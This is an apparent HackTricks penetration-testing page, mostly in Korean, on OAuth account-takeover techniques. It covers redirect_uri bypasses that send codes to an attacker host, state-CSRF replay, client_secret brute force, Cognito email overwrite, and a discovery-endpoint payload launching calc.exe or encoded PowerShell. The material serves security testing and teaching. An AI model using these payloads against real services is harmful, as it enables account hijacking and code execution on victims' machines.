OAuth를 통한 Account takeover
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
OAuth는 다양한 버전을 제공하며, 기본적인 정보는 OAuth 2.0 documentation에서 확인할 수 있습니다. 이 문서는 주로 널리 사용되는 OAuth 2.0 authorization code grant type을 중심으로 하며, 이는 어떤 애플리케이션이 다른 애플리케이션(authorization server)에 있는 사용자의 계정에 접근하거나 해당 계정에서 동작을 수행할 수 있게 해주는 권한 부여 프레임워크를 제공합니다.
가령 모든 소셜 미디어 게시물(비공개 포함)을 모두 보여주는 것을 목적으로 하는 가상의 웹사이트 _https://example.com_을 생각해보십시오. 이를 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 귀하의 social media posts에 접근할 권한을 요청할 것입니다. 그 결과로 _https://socialmedia.com_에서 동의 화면이 표시되며, 여기에는 요청되는 권한과 권한을 요청하는 개발자가 요약되어 나타납니다. 귀하가 승인하면 _https://example.com_은 귀하를 대신하여 게시물에 접근할 수 있는 권한을 얻게 됩니다.
OAuth 2.0 프레임워크에서 다음 구성 요소들을 이해하는 것이 중요합니다:
- resource owner: 당신, 즉 사용자/엔티티는 소셜 미디어 계정의 게시물과 같은 리소스에 대한 접근을 승인합니다.
- resource server: 애플리케이션이
access token을 확보한 후 인증된 요청을 처리하는 서버, 예: https://socialmedia.com. - client application:
resource owner로부터 권한을 요청하는 애플리케이션, 예: https://example.com. - authorization server:
resource owner의 인증과 권한 확보가 완료된 후client application에access tokens를 발행하는 서버, 예: https://socialmedia.com. - client_id: 애플리케이션의 공개적이고 고유한 식별자.
- client_secret: 애플리케이션과 authorization server만 아는 비밀 키로,
access_tokens생성에 사용됩니다. - response_type: 요청하는 토큰의 유형을 지정하는 값, 예:
code. - scope:
client application이resource owner에게 요청하는 접근 권한의 수준. - redirect_uri: 사용자가 권한 승인 후 리디렉션되는 URL입니다. 일반적으로 사전에 등록된 redirect URL과 일치해야 합니다.
- state: 사용자가 authorization server로 리디렉션될 때와 돌아올 때 사이의 데이터를 유지하기 위한 파라미터입니다. 고유성이 중요하며 CSRF 방어 메커니즘으로 사용됩니다.
- grant_type: 어떤 grant 유형과 반환될 토큰의 유형인지 나타내는 파라미터입니다.
- code: authorization server로부터 받은 권한 코드로, client application이
client_id및client_secret과 함께 사용하여access_token을 획득합니다. - access_token: client application이
resource owner를 대신하여 API 요청에 사용하는 토큰입니다. - refresh_token: 사용자를 다시 묻지 않고 새로운
access_token을 얻을 수 있게 해줍니다.
흐름
실제 OAuth 흐름은 다음과 같이 진행됩니다:
- 사용자는 https://example.com에 접속해 “Integrate with Social Media” 버튼을 클릭합니다.
- 사이트는 https://example.com의 애플리케이션이 게시물에 접근하도록 허가해 달라는 요청을 https://socialmedia.com으로 보냅니다. 요청은 다음과 같은 구조입니다:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 그러면 동의 페이지가 표시됩니다.
- 승인을 하면 Social Media가
redirect_uri로code와state파라미터를 포함한 응답을 보냅니다:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com는 이
code를client_id및client_secret과 함께 사용하여 서버 측 요청을 통해 사용자를 대신해access_token을 획득하고, 사용자가 동의한 권한에 접근할 수 있게 합니다:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- 마지막으로, 프로세스는 https://example.com 이 당신의
access_token을 사용해 소셜 미디어 API 호출을 하여 접근하면서 마무리됩니다
Vulnerabilities
열린 redirect_uri
Per RFC 6749 §3.1.2, authorization server는 브라우저를 오직 사전에 등록된, 정확한 redirect URIs로만 리다이렉트해야 합니다. 여기에 취약점이 있으면 공격자는 악의적인 authorization URL을 통해 피해자를 유도하여 IdP가 피해자의 code(및 state)를 그대로 공격자 엔드포인트로 전달하게 만들고, 공격자는 이를 교환해 토큰을 탈취할 수 있습니다.
일반적인 공격 흐름:
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback를 craft하여 피해자에게 보냅니다.- 피해자가 인증하고 scopes를 승인합니다.
- IdP가
attacker.tld/callback?code=<victim-code>&state=...로 리다이렉트하면 공격자는 요청을 로깅하고 즉시 code를 교환합니다.
검사할 만한 일반적인 유효성 검사 버그:
- 검증 없음 – 어떤 절대 URL도 허용되어 즉시 code 탈취가 발생합니다.
- 호스트에 대한 약한 부분 문자열/정규식 검사 –
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, 또는match.com@evil.com같은 lookalike로 우회할 수 있습니다. - IDN homograph 불일치 – 검증은 punycode 형태(
xn--)로 이루어지지만 브라우저는 공격자가 제어하는 유니코드 도메인으로 리다이렉트합니다. - 허용된 호스트의 임의 경로 –
redirect_uri를/openredirect?next=https://attacker.tld또는 어떤 XSS/사용자 콘텐츠 엔드포인트로 지정하면 체인된 리다이렉트, Referer 헤더, 또는 주입된 JavaScript를 통해 code가 유출됩니다. - 정규화 없이 디렉토리 제약 –
/oauth/*같은 패턴은/oauth/../anything로 우회될 수 있습니다. - 와일드카드 서브도메인 –
*.example.com을 허용하면 어떤 takeover(떠있는 DNS, S3 버킷 등)든 즉시 유효한 callback이 됩니다. - 비-HTTPS 콜백 –
http://URI를 허용하면 네트워크 공격자(Wi‑Fi, 기업 프록시 등)가 전송 중에 code를 가로챌 기회를 얻습니다.
또한 보조적인 redirect 스타일 매개변수들(client_uri, policy_uri, tos_uri, initiate_login_uri 등)과 OpenID discovery document (/.well-known/openid-configuration)를 검토하여 동일한 검증 버그를 이어받을 수 있는 추가 엔드포인트가 있는지 확인하세요.
Redirect token 유출 on allowlisted domains with attacker-controlled subpaths
redirect_uri를 “소유/퍼스트파티 도메인”으로 고정해도, 어떤 allowlisted 도메인이든 공격자가 제어하는 경로나 실행 컨텍스트(레거시 앱 플랫폼, 사용자 네임스페이스, CMS 업로드 등)를 노출하면 도움이 되지 않습니다. OAuth/연동 로그인 흐름이 URL에 토큰을 반환하는 경우(쿼리 또는 해시), 공격자는 다음을 할 수 있습니다:
- 유효한 흐름을 시작해 프리-토큰을 발급받습니다(예: multi-step Accounts Center/FXAuth 흐름에서의
etoken). - 피해자에게 allowlisted 도메인을
redirect_uri/base_uri로 설정하되next/경로를 공격자 제어 네임스페이스로 가리키는 authorization URL을 보냅니다(예:https://apps.facebook.com/<attacker_app>). - 피해자가 승인하면 IdP는 민감한 값들(
token,blob, codes 등)을 URL에 포함해 공격자 제어 경로로 리다이렉트합니다. - 해당 페이지의 JavaScript가
window.location을 읽어 값을 외부로 exfiltrate합니다 — 도메인이 “신뢰된” 것으로 보이더라도 가능합니다. - 포착한 값을 downstream의 권한 있는 엔드포인트에 대해 재사용하여, 리다이렉트로 전달된 토큰만 기대하는 곳을 악용합니다. FXAuth 흐름의 예:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
리디렉트 구현에서의 XSS
이 bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html에서 언급한 바와 같이, 사용자가 인증한 후 서버의 응답에 리디렉트 URL이 반사되어 XSS에 취약할 수 있습니다. 테스트할 수 있는 payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - state parameter의 부적절한 처리
The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.
state 파라미터는 Authorization Code 흐름의 CSRF 토큰입니다: 클라이언트는 브라우저 인스턴스별로 암호학적으로 랜덤한 값을 생성하고 그 브라우저만 읽을 수 있는 위치(쿠키, local storage 등)에 저장한 뒤, 인가 요청에 포함시키고 동일한 값을 반환하지 않는 응답은 거부해야 합니다. 값이 정적이거나 예측 가능하거나 선택적이거나 사용자의 세션에 묶여 있지 않으면, 공격자는 자신의 OAuth 흐름을 완료하고 최종 ?code= 요청을 캡처(전송하지 않고)한 뒤 피해자의 브라우저가 해당 요청을 재생하도록 강제하여 피해자 계정이 공격자의 IdP 프로필에 연결되게 만들 수 있습니다.
The replay pattern is always the same:
- The attacker authenticates against the IdP with their account and intercepts the last redirect containing
code(and anystate). - They drop that request, keep the URL, and later abuse any CSRF primitive (link, iframe, auto-submitting form) to force the victim browser to load it.
- If the client does not enforce
state, the application consumes the attacker’s authorization result and logs the attacker into the victim’s app account.
재생 공격 패턴은 항상 동일합니다:
- 공격자는 자신의 계정으로 IdP에 인증한 뒤
code(및state)를 포함한 마지막 리다이렉트를 가로챕니다. - 그 요청을 전송하지 않고 URL을 보관한 뒤, 링크·iframe·자동 제출 폼 같은 CSRF 원시 기법을 이용해 나중에 피해자의 브라우저가 해당 URL을 로드하도록 강제합니다.
- 클라이언트가
state를 강제하지 않으면 애플리케이션은 공격자의 인가 결과를 수용하여 공격자를 피해자의 앱 계정으로 로그인시킵니다.
A practical checklist for state handling during tests:
- Missing
stateentirely – if the parameter never appears, the whole login is CSRFable. statenot required – remove it from the initial request; if the IdP still issues codes that the client accepts, the defense is opt-in.- Returned
statenot validated – tamper with the value in the response (Burp, MITM proxy). Accepting mismatched values means the stored token is never compared. - Predictable or purely data-driven
state– many apps stuff redirect paths or JSON blobs intostatewithout mixing in randomness, letting attackers guess valid values and replay flows. Always prepend/append strong entropy before encoding data. statefixation – if the app lets users supply thestatevalue (e.g., via crafted authorization URLs) and reuses it throughout the flow, an attacker can lock in a known value and reuse it across victims.
테스트 중 state 처리에 대한 실무 점검 목록:
- Missing
stateentirely – 파라미터가 전혀 나타나지 않으면 전체 로그인 흐름이 CSRF에 취약합니다. statenot required – 초기 요청에서state를 제거해보세요. IdP가 여전히 코드를 발급하고 클라이언트가 이를 수락하면 방어가 옵트인 방식입니다.- Returned
statenot validated – 응답의 값을 변조해보세요 (Burp, MITM proxy). 불일치 값을 수용한다면 저장된 토큰이 전혀 비교되지 않는 것입니다. - Predictable or purely data-driven
state– 많은 애플리케이션이 랜덤성을 섞지 않고 리다이렉트 경로나 JSON 블롭을state에 넣어 공격자가 유효 값을 추측해 흐름을 재생할 수 있습니다. 데이터를 인코딩하기 전에 항상 강한 엔트로피를 앞뒤에 추가하세요. statefixation – 앱이 사용자가state값을 제공하도록 허용(예: 조작된 인가 URL을 통해)하고 흐름 전체에서 이를 재사용하면 공격자는 알려진 값을 고정시켜 여러 피해자에게 재사용할 수 있습니다.
PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.
PKCE는 인가 코드를 code verifier에 바인딩하여 state를 보완할 수 있습니다(특히 public clients에서). 하지만 웹 클라이언트는 여전히 cross-user CSRF/계정 연결 버그를 방지하기 위해 state를 추적해야 합니다.
Pre Account Takeover
- Without Email Verification on Account Creation: Attackers can preemptively create an account using the victim’s email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker’s pre-created account, leading to unauthorized access.
- Exploiting Lax OAuth Email Verification: Attackers may exploit OAuth services that don’t verify emails by registering with their service and then changing the account email to the victim’s. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
사전 계정 탈취
- 계정 생성 시 이메일 검증 없음: 공격자는 피해자의 이메일을 사용해 미리 계정을 생성할 수 있습니다. 이후 피해자가 타사 서비스를 통해 로그인하면 애플리케이션이 의도치 않게 해당 타사 계정을 공격자가 미리 만든 계정에 연결하여 무단 접근을 허용할 수 있습니다.
- 느슨한 OAuth 이메일 검증 악용: 이메일을 검증하지 않는 OAuth 서비스를 악용해 공격자가 해당 서비스에 가입한 뒤 계정 이메일을 피해자의 것으로 변경할 수 있습니다. 이 방법 역시 첫 번째 시나리오와 마찬가지로 무단 계정 접근 위험을 초래합니다.
Disclosure of Secrets
The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:
- Unpacking the APK/IPA, desktop installer, or Electron app and grepping for
client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints. - Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.
Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secrets—they should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.
비밀 정보 노출
client_id는 의도적으로 공개되지만, client_secret은 최종 사용자에게 절대 복구되어서는 안 됩니다. Authorization Code 배포에서 비밀을 mobile APKs, desktop clients, or single-page apps에 포함시키는 경우, 패키지를 다운로드할 수 있는 누구에게나 해당 자격 증명을 넘겨주는 결과가 됩니다. 공개 클라이언트를 검사할 때는 항상 다음을 수행하세요:
- APK/IPA, 데스크탑 설치 프로그램 또는 Electron 앱을 언팩하고
client_secret, JSON으로 디코딩되는 Base64 블롭, 또는 하드코딩된 OAuth 엔드포인트를 검색하세요. - 번들된 설정 파일(plist, JSON, XML)이나 디컴파일된 문자열에서 클라이언트 자격증명을 검토하세요.
공격자가 비밀을 추출하면 약한 redirect_uri, 로그 등으로부터 피해자의 인가 code만 탈취하면 /token에 독립적으로 접근해 access/refresh 토큰을 발급받을 수 있어 정당한 앱을 거칠 필요가 없습니다. 공개/네이티브 클라이언트는 비밀을 보관할 수 없는 것으로 간주하고, 정적 비밀 대신 per-instance code verifier의 소유를 증명하는 PKCE(RFC 7636)에 의존해야 합니다. 테스트 시 PKCE가 필수인지, 백엔드가 client_secret 또는 유효한 code_verifier가 없는 토큰 교환을 실제로 거부하는지 확인하세요.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
서비스 제공자의 bruteforce the client_secret을 identity provider와 함께 시도하여 계정을 탈취하려 할 수 있습니다.
BF를 위한 요청은 다음과 유사할 수 있습니다:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs – if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse – send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
다른 앱 토큰 악용
As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.
This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.
Two links & cookie
According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.
To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.
Prompt Interaction Bypass
As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.
response_mode
As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.
OAuth ROPC flow - 2 FA bypass
According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.
ATO on web page redirecting based on open redirect to referrer
This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Key Points:
- Dynamic Client Registration is often mapped to
/registerand accepts details likeclient_name,client_secret,redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests. - This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.sector_identifier_uri: References a JSON array ofredirect_uris, which the server might fetch, creating an SSRF opportunity.request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
Exploitation Strategy:
- SSRF can be triggered by registering a new client with malicious URLs in parameters like
logo_uri,jwks_uri, orsector_identifier_uri. - While direct exploitation via
request_urismay be mitigated by whitelist controls, supplying a pre-registered, attacker-controlledrequest_urican facilitate SSRF during the authorization phase.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- 클라이언트가 제공된 URI에 대해 OS 핸들러를 실행합니다. Windows는
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."같은 페이로드를 허용하고, macOS/Linux는file:///Applications/Calculator.app/...또는 등록된 경우cmd://bash -lc '<payload>'같은 커스텀 스킴도 허용합니다. - 이 동작은 사용자 상호작용 이전에 발생하므로, 단지 클라이언트를 공격자 서버로 구성하는 것만으로도 코드 실행이 발생합니다.
How to test
- discovery를 HTTP(S)로 수행하고 로컬에서 반환된 엔드포인트를 여는 모든 OAuth 지원 데스크탑/에이전트(예: Electron apps, CLI helpers, thick clients)를 대상으로 합니다.
- discovery 응답을 가로채거나 호스팅하고
authorization_endpoint,device_authorization_endpoint또는 유사한 필드를file://,cmd://, UNC 경로 또는 다른 위험한 스킴으로 교체합니다. - 클라이언트가 스킴/호스트를 검증하는지 관찰합니다. 검증이 없다면 즉시 사용자 컨텍스트에서 실행되어 취약점이 증명됩니다.
- 전체 공격 표면을 매핑하기 위해 다른 스킴들(
ms-excel:,data:text/html,, 커스텀 프로토콜 핸들러 등)로 반복 테스트하여 크로스플랫폼 범위를 증명합니다.
OAuth providers Race Conditions
플랫폼이 OAuth 공급자인 경우 이 문서를 읽고 가능한 Race Conditions를 테스트하세요.
Mutable Claims Attack
OAuth에서 sub 필드는 사용자를 고유하게 식별하지만 Authorization Server마다 형식이 다를 수 있습니다. 일부 클라이언트는 사용자 식별을 표준화하기 위해 이메일이나 사용자 핸들을 사용합니다. 그러나 이는 위험합니다:
- 일부 Authorization Server는 이러한 속성(예: 이메일)이 불변임을 보장하지 않습니다.
- 일부 구현에서는—예: “Login with Microsoft”—클라이언트가 이메일 필드에 의존하는데, 해당 필드는 Entra ID에서 사용자가 제어할 수 있으며 검증되지 않습니다.
- 공격자는 자체 Azure AD 조직(예: doyensectestorg)을 생성하고 이를 이용해 Microsoft 로그인을 수행함으로써 이를 악용할 수 있습니다.
- Object ID(sub에 저장됨)는 불변하고 안전하지만, 변경 가능한 이메일 필드에 의존하면 계정 탈취가 가능해집니다(예: victim@gmail.com과 같은 계정 하이재킹).
Client Confusion Attack
Client Confusion Attack에서는 OAuth Implicit Flow를 사용하는 애플리케이션이 최종 access token이 자신의 Client ID를 위해 생성된 것인지 검증하지 못합니다. 공격자는 Google의 OAuth Implicit Flow를 사용하는 공개 웹사이트를 설정하여 수천 명의 사용자를 속여 로그인하게 하고 공격자 사이트용으로 발급된 access token을 수집할 수 있습니다. 만약 이 사용자들이 다른 취약한 웹사이트에도 계정을 가지고 있고 그 사이트가 token의 Client ID를 검증하지 않는다면, 공격자는 수집한 토큰을 재사용해 피해자를 가장하고 계정을 탈취할 수 있습니다.
Scope Upgrade Attack
Authorization Code Grant 타입은 사용자 데이터를 전송하기 위해 안전한 서버 간 통신을 포함합니다. 그러나 Authorization Server가 Access Token Request에서 scope 파라미터(해당 RFC에 정의되지 않은 파라미터)를 암묵적으로 신뢰한다면, 악의적인 애플리케이션이 더 높은 권한을 요청함으로써 authorization code의 권한을 상승시킬 수 있습니다. Access Token이 생성된 후 Resource Server는 이를 검증해야 합니다: JWT 토큰의 경우 JWT 서명을 확인하고 client_id, scope 같은 데이터를 추출해야 하며, 랜덤 문자열 토큰의 경우 서버는 토큰의 세부 정보를 가져오기 위해 Authorization Server에 쿼리해야 합니다.
Redirect Scheme Hijacking
모바일 OAuth 구현에서 앱은 Authorization Code가 포함된 리다이렉트를 받기 위해 custom URI schemes를 사용합니다. 그러나 여러 앱이 동일한 스킴을 디바이스에 등록할 수 있으므로 리다이렉트 URI를 오직 정당한 클라이언트만 제어한다는 가정이 깨집니다. 예를 들어 Android에서는 com.example.app:// 같은 Intent URI가 스킴과 앱의 intent-filter에 정의된 선택적 필터에 따라 처리됩니다. Android의 intent 해석은 특히 스킴만 지정된 경우 폭넓을 수 있으므로, 공격자는 정교하게 구성된 intent filter를 가진 악성 앱을 등록해 authorization code를 가로챌 수 있습니다. 이는 여러 앱이 해당 인텐트를 처리할 수 있을 때 사용자 상호작용을 통해 또는 Ostorlab의 평가 흐름도에 설명된 우회 기법을 이용해 계정 탈취를 가능하게 할 수 있습니다.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


